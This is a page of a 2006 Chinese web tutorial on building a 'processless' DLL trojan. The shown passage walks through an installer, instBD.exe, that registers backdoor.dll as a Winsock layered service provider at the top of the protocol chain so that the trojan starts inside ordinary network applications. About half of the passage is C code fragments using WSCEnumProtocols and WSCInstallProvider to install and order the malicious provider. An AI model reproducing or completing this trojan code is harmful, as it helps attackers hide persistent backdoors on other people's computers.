WEB开发网
开发学院软件开发VC 无进程DLL木马的又一开发思路与实现 阅读

无进程DLL木马的又一开发思路与实现

 2006-07-21 11:11:05 来源:WEB开发网   
核心提示: 四)主要代码分析1.instBD.exe可执行程序instBD.exe的主要功能是安装我们自己的分层传输服务提供者,并重新排列所有传输服务提供者的顺序,无进程DLL木马的又一开发思路与实现(4),使我们的服务提供者位于协议链的顶端,这样相应类型的应用程序就会首先进入我们的传输服务提供者接口

四)主要代码分析

1.instBD.exe

可执行程序instBD.exe的主要功能是安装我们自己的分层传输服务提供者,并重新排列所有传输服务提供者的顺序,使我们的服务提供者位于协议链的顶端,这样相应类型的应用程序就会首先进入我们的传输服务提供者接口。本程序只有一个参数,就是安装(-install)或卸载(-remove)。作为演示,本程序只安装了IP分层协议及与TCP相关的协议链。在backdoor.dll中,我们不对数据报进行任何修饰,只是在启动我们的木马进程。

自定义函数:

BOOL getfilter();   //获得所有已经安装的传输服务提供者

void freefilter();  //释放存储空间

void installfilter(); //安装分层协议,协议链及排序

void removefilter(); //卸载分层协议和协议链

代码分析:

protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize);

//分配WSAPROTOCOL_INFOW结构的存储空间

totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode);

//获得系统中已安装的所有服务提供者

GetCurrentDirectory(MAX_PATH,filter_path); 

//得到当前的路径

_tcscpy(filter_name,_T("\\backdoor.dll")); 

//构造服务提供者文件backdoor.dll的路径全名

WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode);

//安装自定义的IP分层协议

iplayercataid=protoinfo[i].dwCatalogEntryId;

//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志

udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;

上一页  1 2 3 4 5 6 7 8  下一页

Tags:进程 DLL 木马

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接